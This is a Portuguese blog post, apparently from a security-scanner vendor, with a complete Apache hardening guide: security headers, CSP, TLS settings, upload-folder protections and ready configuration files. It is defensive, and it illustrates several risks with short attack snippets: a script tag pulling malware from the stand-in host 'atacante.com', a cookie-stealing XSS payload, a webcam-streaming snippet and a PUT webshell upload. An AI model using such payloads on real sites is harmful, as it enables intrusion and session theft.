Sem Agente · Sem Instalação

Hardening Apache: Guia Completo de Segurança

Hardening do Apache: O Guia para Amplificar sua Segurança (com tudo que pode dar errado se você não fizer) Cada configuração padrão do Apache que você ignora é uma porta entreaberta. Este guia mostra exatamente o que cada uma delas significa na prática — e como fechar, uma por uma.

Hardening do Apache: O Guia para Amplificar sua Segurança (com tudo que pode dar errado se você não fizer)

Cada configuração padrão do Apache que você ignora é uma porta entreaberta. Este guia mostra exatamente o que cada uma delas significa na prática — e como fechar, uma por uma.

Introdução

O Apache HTTP Server é um dos servidores web mais usados do planeta há mais de 25 anos. E justamente por isso, é também um dos alvos mais estudados por atacantes. A configuração padrão dele é projetada para funcionar em qualquer lugar, não para ser segura em qualquer lugar. Essa diferença é o que separa um servidor saudável de um servidor que vira manchete.

Neste guia, vamos passar por cada item de hardening explicando três coisas:

  1. O que a configuração padrão faz (ou deixa de fazer)
  2. O que um atacante consegue fazer com isso — com cenários reais
  3. Como corrigir, com configuração pronta pra copiar

No final, você terá um Apache pronto pra produção e vai entender exatamente por que cada linha está ali.

1. ServerTokens e ServerSignature: você está entregando um mapa do tesouro

O que acontece por padrão

Quando o Apache responde a qualquer requisição, ele inclui um header Server que, por padrão, contém algo assim:

Server: Apache/2.4.52 (Ubuntu)

E em páginas de erro (404, 500, 403), ele adiciona um rodapé:

Apache/2.4.52 (Ubuntu) Server at example.com Port 443

Pode parecer inofensivo. Não é.

O que isso causa na prática

Imagine que você está rodando Apache 2.4.52 no Ubuntu. Um atacante varrendo a internet com Shodan, Censys ou um simples script Python descobre seu servidor. Em segundos, ele:

  1. Consulta o banco de CVEs filtrando por "Apache 2.4.52" — e encontra uma lista de vulnerabilidades conhecidas para essa versão exata.
  2. Sabe que é Ubuntu, então sabe quais pacotes estão instalados, qual é o caminho padrão dos arquivos (/var/www/html), onde ficam os logs, qual é o usuário que roda o serviço (www-data).
  3. Filtra exploits prontos no Exploit-DB ou Metasploit que casam com a sua versão. Se houver um exploit não corrigido, em poucos minutos ele já está testando.

O custo de um atacante descobrir tudo isso saiu de "horas de reconhecimento" para "uma requisição HTTP". Você economizou o trabalho dele.

Pior: scanners automatizados como o Mirai e seus derivados varrem a internet 24/7 procurando exatamente versões vulneráveis específicas. Não é pessoal — é industrial.

A correção

Em /etc/apache2/conf-enabled/security.conf (Debian/Ubuntu) ou /etc/httpd/conf/httpd.conf (RHEL/CentOS/Rocky):

# Mostra apenas "Apache" no header Server, sem versão nem SO
ServerTokens Prod

# Remove o rodapé das páginas de erro
ServerSignature Off

Depois disso, o header Server vira simplesmente Apache. O atacante ainda sabe que é Apache (não tem como esconder 100%), mas perdeu a versão e o sistema operacional. Já não consegue mais filtrar exploits específicos sem trabalho extra.

Importante: isso é "segurança por obscuridade" e não substitui manter o servidor atualizado. Mas reduz drasticamente o número de ataques automatizados que conseguem te encontrar como alvo viável.

2. expose_php: o PHP gritando sua versão para o mundo

O que acontece por padrão

Toda resposta gerada por uma página PHP traz um header como:

X-Powered-By: PHP/8.1.2

O que isso causa

Mesmo problema do ServerTokens, com agravante: vulnerabilidades de PHP costumam ser muito mais críticas que vulnerabilidades do Apache, porque o PHP executa código. Algumas das CVEs mais conhecidas dos últimos anos (CVE-2019-11043 no PHP-FPM, por exemplo) permitiam execução remota de código com uma única requisição bem formada.

Se o atacante sabe que você está rodando PHP 8.1.2, ele consulta as CVEs daquela versão exata e tenta. Se sua versão for vulnerável e ainda não tiver sido patchada, é game over.

Existe outro efeito colateral menos óbvio: ferramentas de bug bounty e scanners agressivos priorizam alvos com versões antigas. Expor sua versão é como pendurar uma placa de "atire aqui primeiro".

A correção

No php.ini (use php --ini para descobrir o caminho exato):

expose_php = Off

Reinicie o Apache (ou PHP-FPM, dependendo do seu setup). O header desaparece completamente.

Atenção: se você usa PHP-FPM, há dois php.ini diferentes — um pro CLI e outro pro FPM. Ajuste o do FPM (/etc/php/8.x/fpm/php.ini).

3. TraceEnable: o método HTTP que a gente esqueceu de matar

O que acontece por padrão

O método TRACE do HTTP foi criado nos anos 90 para fins de debug — quando você manda um TRACE, o servidor te responde com a requisição inteira que recebeu, intacta. Por padrão, o Apache vem com TraceEnable On.

O que isso causa

Existe um ataque conhecido chamado Cross-Site Tracing (XST). A ideia: usando JavaScript em uma página comprometida, um atacante força o navegador da vítima a fazer um TRACE no servidor alvo. A resposta inclui todos os headers — inclusive cookies marcados como HttpOnly, que normalmente o JavaScript não consegue ler.

Resultado: o atacante captura cookies de sessão que deveriam ser inacessíveis e sequestra a sessão da vítima. Funciona até hoje em servidores mal configurados.

Além disso, scanners de vulnerabilidade automatizados marcam o TRACE habilitado como vulnerabilidade de severidade média, o que afeta scores de compliance (PCI-DSS, por exemplo, exige TRACE desabilitado).

A correção

TraceEnable Off

Pronto. Sem efeito colateral, sem impacto em aplicação real. Não conheço um único site legítimo que precise de TRACE habilitado em produção.

4. FileETag: vazando informação do sistema de arquivos

O que acontece por padrão

O header ETag é usado para cache: o navegador guarda o ETag de um arquivo e, na próxima visita, pergunta ao servidor "esse arquivo ainda tem esse ETag?". Se sim, o servidor responde 304 Not Modified e o navegador usa a versão local. Eficiente.

O problema: por padrão, o Apache gera o ETag a partir do inode, tamanho e data de modificação do arquivo. O inode é um número interno do sistema de arquivos.

O que isso causa

Em si, vazar um inode parece bobagem. Mas:

  1. Identificação de servidor em cluster: se você tem 5 servidores atrás de um load balancer, cada arquivo tem inode diferente em cada servidor. Um atacante pode mapear quantos servidores você tem, identificar inconsistências entre eles, e atacar o mais fraco.
  1. NFS leak: em alguns setups antigos com NFS, o inode podia revelar informações da configuração do storage.
  1. Compliance: o item está listado em auditorias de PCI-DSS e CIS Benchmark como vulnerabilidade.

Não é o fim do mundo, mas é trivial de corrigir.

A correção

FileETag None

Você ainda terá cache funcionando via headers Last-Modified e Cache-Control — que são suficientes pra qualquer caso real.

5. Strict-Transport-Security (HSTS): impedindo o downgrade

O que acontece por padrão

O Apache não envia HSTS por padrão. Isso significa que mesmo que seu site rode em HTTPS, um navegador que acessa pela primeira vez ainda fala HTTP no primeiro request — e só depois é redirecionado.

O que isso causa

Existe uma classe de ataques chamada SSL Stripping, popularizada pela ferramenta sslstrip. O cenário típico:

  1. Vítima conecta no Wi-Fi de um café (ou de um aeroporto, ou da casa do vizinho hackeado)
  2. Atacante na mesma rede intercepta o tráfego (man-in-the-middle)
  3. Vítima digita "meubanco.com.br" no navegador
  4. O navegador faz primeiro um request HTTP (não HTTPS)
  5. Atacante intercepta esse HTTP, conecta no banco real via HTTPS, e devolve para a vítima a versão HTTP do site, repassando tudo
  6. Vítima nunca vê o cadeado, mas também não percebe — e digita usuário e senha
  7. Atacante captura tudo

Com HSTS ativo, o navegador se recusa a falar HTTP com aquele domínio. Mesmo que o atacante intercepte, o navegador exibe um erro intransponível e bloqueia a conexão.

A correção

Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"

O que cada parte significa:

  • max-age=63072000 — o navegador deve forçar HTTPS por 2 anos a partir da última visita
  • includeSubDomains — vale também para todos os subdomínios (cuidado! veja aviso abaixo)
  • preload — pede inclusão na lista hardcoded de browsers (Chrome, Firefox, Safari)

AVISO CRÍTICO: uma vez aplicado, o navegador "lembra" do HSTS pelo max-age definido. Se o seu certificado vencer, ou se você precisar acessar o site via HTTP por algum motivo, não tem volta — o usuário fica trancado fora. Comece com max-age=300 (5 minutos) durante os testes, valide tudo, e só então aumente para o valor de produção.

Sobre includeSubDomains: se você tem legado.exemplo.com.br que ainda só fala HTTP, essa diretiva vai quebrar o acesso a ele. Verifique todos os subdomínios antes de aplicar.

6. X-Frame-Options: o anti-clickjacking clássico

O que acontece por padrão

Sem esse header, qualquer site na internet pode carregar o seu dentro de um <iframe>. Sim, qualquer um.

O que isso causa

O ataque é chamado clickjacking e funciona assim:

  1. Atacante cria um site qualquer ("sorteio do iPhone", "teste seu QI", etc.)
  2. Esse site carrega o seu site real (digamos, o painel admin do seu sistema) dentro de um iframe invisível, com opacity: 0
  3. Por cima do iframe, o atacante põe botões falsos: "Clique aqui pra ganhar!"
  4. Vítima — que está logada no seu sistema em outra aba — clica no botão falso
  5. Na verdade, o clique vai pro iframe invisível, e está clicando em "Excluir minha conta" ou "Transferir saldo"

Casos reais já aconteceram com Twitter, Facebook, internet banking. É um vetor especialmente perigoso para painéis administrativos.

A correção

Header always set X-Frame-Options "SAMEORIGIN"

Isso permite que apenas o seu próprio domínio coloque o site em iframe. Para bloquear completamente, use DENY. Para permitir um domínio específico, use a diretiva mais moderna Content-Security-Policy: frame-ancestors (que veremos no item 9).

7. X-Content-Type-Options: o ataque do MIME sniffing

O que acontece por padrão

Quando um navegador recebe um arquivo e o Content-Type parece estranho ou ausente, ele tenta adivinhar o tipo do arquivo olhando o conteúdo. Esse comportamento se chama "MIME sniffing".

O que isso causa

Cenário clássico: seu site permite upload de imagens de avatar. Você valida que o arquivo é um PNG verificando a extensão. O atacante envia um arquivo chamado foto.png cujo conteúdo é, na verdade, JavaScript:

<script>roubaCookies()</script>

Você salva o arquivo, ele fica em /uploads/foto.png. Quando outra vítima acessa essa URL, o servidor responde com Content-Type: image/png. Mas o navegador olha o conteúdo, vê que tem <script>, e pensa: "Ah, isso parece HTML!" — e executa como HTML. O JavaScript roda no contexto do seu domínio. XSS armazenado em poucos passos.

Esse era um ataque devastador no Internet Explorer dos anos 2000, mas ainda funciona em navegadores modernos em certas condições.

A correção

Header always set X-Content-Type-Options "nosniff"

Esse header força os navegadores a respeitarem o Content-Type enviado, sem tentar adivinhar. É uma linha. Ative sempre.

8. Referrer-Policy: controlando o que vaza pra fora

O que acontece por padrão

Quando um usuário clica em um link no seu site para um site externo, o navegador envia um header Referer (sim, com erro de grafia — é histórico) informando ao destino exatamente de qual URL veio. Por padrão, isso inclui a URL completa.

O que isso causa

Imagine que seu sistema tem URLs como:

https://meusistema.com/admin/usuarios?token=eyJhbG...

Ou:

https://meusistema.com/reset-senha?key=abc123def456

Ou ainda:

https://meuhospital.com/paciente/joão-silva-cpf-12345/exames

Se o usuário clica em um link externo nessa página (ou se a página carrega uma imagem de outro domínio), toda essa URL é enviada para o domínio externo, que vai ver tudo nos logs dele. Tokens, IDs, dados pessoais — tudo vazando.

Isso já causou vazamentos famosos — o caso mais conhecido é o de sistemas de saúde americanos que vazaram identificadores de pacientes para o Facebook por causa de pixels de tracking.

A correção

Header always set Referrer-Policy "strict-origin-when-cross-origin"

O que essa política faz:

  • Para links dentro do mesmo site: envia URL completa (útil pra analytics interno)
  • Para links externos via HTTPS: envia apenas o domínio (https://meusistema.com), sem path nem query string
  • Para links saindo de HTTPS pra HTTP: não envia nada

É um equilíbrio muito bom entre privacidade e funcionalidade.

9. Content-Security-Policy (CSP): o canivete suíço da defesa contra XSS

O que acontece por padrão

Sem CSP, o navegador executa qualquer JavaScript que aparecer na página, de qualquer origem. Carrega imagens de qualquer lugar. Aceita estilos de qualquer fonte. Conecta em qualquer servidor via fetch().

O que isso causa

CSP é a defesa moderna mais poderosa contra Cross-Site Scripting (XSS) — e XSS é, segundo a OWASP, uma das vulnerabilidades web mais comuns há mais de 20 anos.

Cenário sem CSP:

  1. Atacante encontra uma vulnerabilidade de XSS no seu site (talvez um campo de comentário que não filtra <script>)
  2. Injeta: <script src="https://atacante.com/malware.js"></script>
  3. O script malicioso roda no contexto do seu domínio, com acesso a cookies, localStorage, e tudo mais
  4. Pode roubar sessões, fazer requests em nome da vítima, deformar a página, redirecionar para phishing

Com CSP bem configurada, o navegador simplesmente se recusa a carregar o script de atacante.com, mesmo que ele esteja injetado no HTML. A vulnerabilidade XSS continua existindo no código, mas o impacto é zerado.

A correção (versão restritiva inicial)

Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"

Decifrando:

  • default-src 'self' — por padrão, só carrega coisas do próprio domínio
  • script-src 'self' — JavaScript só do próprio domínio (sem inline, sem CDN externo)
  • style-src 'self' 'unsafe-inline' — CSS do próprio domínio + permite estilos inline (necessário pra muitos frameworks)
  • img-src 'self' data: https: — imagens do próprio domínio, data URIs e qualquer HTTPS
  • connect-src 'self' — fetch/XHR só pro próprio domínio
  • frame-ancestors 'self' — substitui o X-Frame-Options moderno
  • base-uri 'self' — impede que <base> seja injetado pra mudar o caminho base
  • form-action 'self' — formulários só podem submeter pro próprio domínio

CSP é o header mais difícil de configurar. A política acima vai quebrar sites que usam Google Analytics, Google Fonts, jQuery via CDN, mapas embutidos, etc. Sempre teste primeiro com Content-Security-Policy-Report-Only, que apenas reporta violações sem bloquear. Use isso por alguns dias, monitore os logs do navegador, ajuste, e só então mude pra Content-Security-Policy real.

10. Permissions-Policy: bloqueando APIs sensíveis do navegador

O que acontece por padrão

Sem esse header, qualquer página do seu site pode pedir acesso a câmera, microfone, geolocalização, USB, sensores de movimento, etc. Mesmo que a sua página nunca use isso, se houver um XSS, o atacante pode injetar código que pede esses acessos.

O que isso causa

Imagine um XSS no seu site corporativo. Um atacante injeta:

navigator.mediaDevices.getUserMedia({ video: true, audio: true })
  .then(stream => /* envia stream para servidor do atacante */)

A vítima vê o popup de "permitir câmera?" — e como está num site que ela confia, clica em permitir. Pronto: webcam e microfone do executivo da empresa, transmitindo ao vivo pro atacante.

A correção

Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"

Isso bloqueia completamente essas APIs. Se a sua aplicação realmente precisa de uma delas (uma página específica que usa câmera), você habilita só pra aquela origem usando camera=(self).

11. Cross-Origin headers (COOP, CORP, COEP): o isolamento moderno

O que acontece por padrão

Sem esses headers, sua janela compartilha um processo com outras janelas que podem ter sido abertas a partir do seu site, e seus recursos podem ser carregados por qualquer origem.

O que isso causa

Após os ataques Spectre e Meltdown (2018), descobriu-se que era possível, via JavaScript, ler memória de outros processos do navegador através de side channels da CPU. A defesa: isolar processos por origem.

  • COOP (Cross-Origin-Opener-Policy) — quando setado como same-origin, o navegador garante que sua janela está em um processo isolado das janelas de outras origens
  • CORP (Cross-Origin-Resource-Policy) — controla quais sites podem carregar seus recursos (imagens, scripts, etc.)
  • COEP (Cross-Origin-Embedder-Policy) — exige que recursos embutidos declarem explicitamente que podem ser embutidos

A correção

Header always set Cross-Origin-Opener-Policy "same-origin"
Header always set Cross-Origin-Resource-Policy "same-origin"
# COEP só se você não embute recursos de terceiros
Header always set Cross-Origin-Embedder-Policy "require-corp"

Aviso sobre COEP: o require-corp quebra qualquer recurso de terceiros que não envie o header Cross-Origin-Resource-Policy. Se seu site embute YouTube, mapas Google, fontes de CDN, etc., remova o COEP ou mude para unsafe-none.

12. Métodos HTTP perigosos (PUT, DELETE, CONNECT)

O que acontece por padrão

O Apache aceita praticamente todos os métodos HTTP por padrão, incluindo PUT, DELETE, OPTIONS, CONNECT, PATCH. Se houver qualquer módulo mal configurado (ou um WebDAV antigo esquecido), métodos como PUT podem permitir upload arbitrário de arquivos.

O que isso causa

Há casos documentados de servidores Apache com WebDAV habilitado por engano onde atacantes faziam PUT /shell.php e instalavam uma webshell em segundos. Game over total — execução remota de código com uma única requisição.

Mesmo sem WebDAV, métodos perigosos habilitados aparecem em scanners de vulnerabilidade e impactam compliance.

A correção

Restringir os métodos no <Directory> raiz:

<Directory /var/www/html>
    <LimitExcept GET POST HEAD>
        Require all denied
    </LimitExcept>
</Directory>

Se sua aplicação for uma API REST que precisa de PUT, DELETE e PATCH, ajuste:

<LimitExcept GET POST HEAD PUT DELETE PATCH OPTIONS>
    Require all denied
</LimitExcept>

13. Listagem de diretórios (Options Indexes)

O que acontece por padrão

Em muitos setups, se você acessa uma URL de pasta (/uploads/) e não há um index.html lá dentro, o Apache lista todos os arquivos da pasta. Bonitinho, organizado, com data e tamanho.

O que isso causa

Cenários reais:

  • /backups/ — listando todos os dumps de banco
  • /uploads/ — todos os documentos enviados pelos usuários, incluindo PDFs internos
  • /.git/ — todo o histórico do código fonte
  • /old/ — versões antigas do site com vulnerabilidades já corrigidas na versão nova

Já vi isso vazar contratos confidenciais, dumps de banco com hashes de senhas, código fonte completo de aplicações comerciais, e (em um caso particularmente desagradável) fotos pessoais de funcionários que tinham subido o conteúdo da pasta de fotos errada.

A correção

No <Directory> ou em um .htaccess:

Options -Indexes

E pra garantir defesa em profundidade, bloqueie acesso direto a arquivos sensíveis:

<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
    Require all denied
</FilesMatch>

E impeça acesso a qualquer arquivo/pasta começando com .:

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule "(^|/)\." - [F]
</IfModule>

Isso protege .git, .env, .svn, .htaccess, .DS_Store, etc.

14. Execução de PHP em diretórios de upload

O que acontece por padrão

Por padrão, o Apache executa PHP em qualquer pasta dentro do DocumentRoot. Inclusive na pasta de uploads.

O que isso causa

Combine isso com qualquer falha de upload — filtragem fraca de extensão, validação só por MIME type, qualquer coisa — e você tem upload de webshell. O atacante envia shell.php, acessa /uploads/shell.php, e tem acesso de execução de comandos no servidor com o usuário do Apache.

Esse é, há mais de 15 anos, um dos padrões de comprometimento mais comuns em sites WordPress, Joomla, e qualquer aplicação PHP com gestão de uploads.

A correção

<Directory /var/www/html/uploads>
    php_flag engine off
    AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
    
    <FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
        Require all denied
    </FilesMatch>
</Directory>

Três camadas de proteção: desabilita o motor PHP, força extensões PHP a serem servidas como texto, e bloqueia o acesso direto a arquivos com essas extensões. Defesa em profundidade.

15. SSL/TLS: você ainda fala TLS 1.0?

O que acontece por padrão

Em muitas distribuições, o Apache vem com suporte a SSLv3, TLS 1.0 e TLS 1.1 habilitados por padrão. Esses protocolos têm vulnerabilidades conhecidas (POODLE, BEAST, FREAK) e foram oficialmente descontinuados pelo IETF em 2021.

O que isso causa

  • POODLE (SSLv3) — permite descriptografar tráfego via padding oracle attack
  • BEAST (TLS 1.0) — ataque contra cifras CBC
  • FREAK / Logjam — força downgrade pra cifras export-grade fracas

Mesmo que seu navegador moderno negocie TLS 1.3, o fato de o servidor aceitar TLS 1.0 significa que clientes maliciosos podem forçar downgrade. Além disso, qualquer certificação séria (PCI-DSS, ISO 27001, LGPD em algumas interpretações) exige TLS 1.2 no mínimo.

A correção

SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
SSLHonorCipherOrder     off
SSLSessionTickets       off

# OCSP Stapling — melhora performance e privacidade da validação do certificado
SSLUseStapling          on
SSLStaplingCache        "shmcb:logs/ssl_stapling(32768)"

Para gerar uma configuração sob medida (incluindo perfis "modern", "intermediate" e "old" para diferentes níveis de compatibilidade), use o Mozilla SSL Configuration Generator.

16. LimitRequestBody: protegendo contra DoS amador

O que acontece por padrão

O Apache aceita requisições de tamanho arbitrário. Sem limite.

O que isso causa

Um atacante pode enviar um POST de 4GB pra qualquer endpoint do seu site e exaurir a memória do servidor. Repetindo isso de várias origens, derruba o servidor sem precisar de botnet. É um DoS amador, mas funciona.

A correção

# Limita uploads a 10MB por requisição (ajuste conforme sua necessidade)
LimitRequestBody 10485760

Para endpoints específicos que precisam aceitar uploads maiores (por exemplo, upload de vídeo), defina o limite localmente.

Configuração final: tudo junto

Aqui está o arquivo completo pronto para copiar. Salve em /etc/apache2/conf-available/security-hardening.conf e ative com:

sudo a2enconf security-hardening
sudo apachectl configtest
sudo systemctl restart apache2
# ============================================================
#  SECURITY HARDENING - Apache HTTP Server
#  Coloque em /etc/apache2/conf-available/security-hardening.conf
#  Ative com: sudo a2enconf security-hardening
# ============================================================

# --- Esconder versões e informações do servidor ---
ServerTokens Prod
ServerSignature Off
TraceEnable Off
FileETag None

# --- Headers de segurança HTTP ---
<IfModule mod_headers.c>
    # Força HTTPS por 2 anos (CUIDADO: comece com max-age=300 pra testar!)
    Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
    
    # Anti-clickjacking
    Header always set X-Frame-Options "SAMEORIGIN"
    
    # Anti MIME-sniffing
    Header always set X-Content-Type-Options "nosniff"
    
    # Controla vazamento de URL via Referer
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    
    # Bloqueia APIs sensíveis do navegador
    Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
    
    # CSP base (TESTE primeiro com Content-Security-Policy-Report-Only!)
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"
    
    # Isolamento de origem cruzada
    Header always set Cross-Origin-Opener-Policy "same-origin"
    Header always set Cross-Origin-Resource-Policy "same-origin"
    # COEP só se NÃO embute recursos de terceiros:
    # Header always set Cross-Origin-Embedder-Policy "require-corp"
    
    # Remove headers que vazam informação
    Header always unset X-Powered-By
    Header always unset Server
    Header unset X-Powered-By
    Header unset Server
</IfModule>

# --- Bloqueio de métodos HTTP perigosos ---
<Directory /var/www/html>
    Options -Indexes -Includes -ExecCGI
    AllowOverride None
    Require all granted
    
    <LimitExcept GET POST HEAD>
        Require all denied
    </LimitExcept>
</Directory>

# --- Bloqueio de arquivos sensíveis ---
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
    Require all denied
</FilesMatch>

# --- Bloqueio de pastas/arquivos começando com . ---
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule "(^|/)\." - [F]
</IfModule>

# --- Pasta de uploads sem execução de PHP ---
<Directory /var/www/html/uploads>
    php_flag engine off
    AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
    
    <FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
        Require all denied
    </FilesMatch>
</Directory>

# --- Limite de tamanho de requisição ---
LimitRequestBody 10485760

# --- SSL/TLS forte ---
<IfModule mod_ssl.c>
    SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
    SSLCipherSuite          ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
    SSLHonorCipherOrder     off
    SSLSessionTickets       off
    
    SSLUseStapling          on
    SSLStaplingCache        "shmcb:logs/ssl_stapling(32768)"
</IfModule>

E o .htaccess complementar (para hospedagens compartilhadas ou ambientes onde você não tem acesso ao conf principal):

# .htaccess - colocar na raiz do site

<IfModule mod_rewrite.c>
    RewriteEngine On
    
    # Força HTTPS
    RewriteCond %{HTTPS} !=on
    RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
    
    # Bloqueia acesso a arquivos/pastas começando com ponto
    RewriteRule "(^|/)\." - [F]
    
    # Bloqueia user agents de scanners maliciosos comuns
    RewriteCond %{HTTP_USER_AGENT} (nikto|sqlmap|fimap|nessus|whatweb|jbrofuzz|libwhisker|webshag|grabber|dirbuster) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# Bloqueia listagem de diretórios
Options -Indexes

# Bloqueia arquivos sensíveis
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
    Require all denied
</FilesMatch>

# Limite de upload (10MB)
LimitRequestBody 10485760

Validando o resultado

Depois de aplicar tudo:

# Valida sintaxe do Apache
sudo apachectl configtest

# Reinicia
sudo systemctl restart apache2

# Testa headers
curl -I https://seudominio.com.br

Use também ferramentas externas:

  • securityheaders.com — analisa todos os headers HTTP e dá uma nota A+ a F
  • ssllabs.com/ssltest — análise completa do TLS
  • Mozilla Observatory — overview geral de segurança
  • SentinelHub — faz tudo isso e ainda monitora 24/7, alerta quando algo muda, identifica vulnerabilidades em tecnologias detectadas e gera relatórios em português

Checklist final

  • [ ] ServerTokens Prod e ServerSignature Off
  • [ ] TraceEnable Off
  • [ ] FileETag None
  • [ ] expose_php = Off no php.ini
  • [ ] Módulos headers, rewrite, ssl habilitados
  • [ ] HSTS configurado (testado com max-age curto antes!)
  • [ ] X-Frame-Options aplicado
  • [ ] X-Content-Type-Options aplicado
  • [ ] Referrer-Policy aplicada
  • [ ] Permissions-Policy aplicada
  • [ ] CSP definida (testada em report-only primeiro!)
  • [ ] COOP/CORP aplicados
  • [ ] Métodos HTTP perigosos bloqueados
  • [ ] Options -Indexes aplicado
  • [ ] Arquivos sensíveis bloqueados via FilesMatch
  • [ ] PHP desabilitado em pastas de upload
  • [ ] TLS 1.0 e 1.1 desabilitados
  • [ ] Cifras modernas configuradas
  • [ ] LimitRequestBody definido
  • [ ] Site testado em securityheaders.com (objetivo: A ou A+)
  • [ ] Site testado em ssllabs.com (objetivo: A ou A+)
  • [ ] Site monitorado continuamente (porque amanhã você esquece)

Considerações finais

Hardening não é um evento, é um processo contínuo. Você aplicou tudo isso hoje? Ótimo. Mas amanhã alguém vai instalar um plugin novo no WordPress, alguém vai atualizar o PHP e resetar configurações, alguém vai colocar um arquivo de backup numa pasta pública "só por um instante", alguém vai habilitar TRACE pra debug e esquecer.

A única forma realista de manter um servidor seguro a longo prazo é monitorar continuamente — alguma ferramenta tem que estar olhando, todo dia, se nada mudou pra pior.

É exatamente pra isso que existe o SentinelHub: scanner contínuo de segurança web, com alertas em tempo real quando algo muda, descrições em português, relatórios prontos pra mostrar pro chefe, e detecção de tudo que esse guia cobriu (e muito mais).

Próximo post da série: Hardening do Nginx — mesmos princípios, configuração diferente, alguns truques exclusivos. Não perca.

Gostou? Compartilha com o sysadmin da sua empresa. Achou que ele deveria ler isso ontem? Provavelmente sim.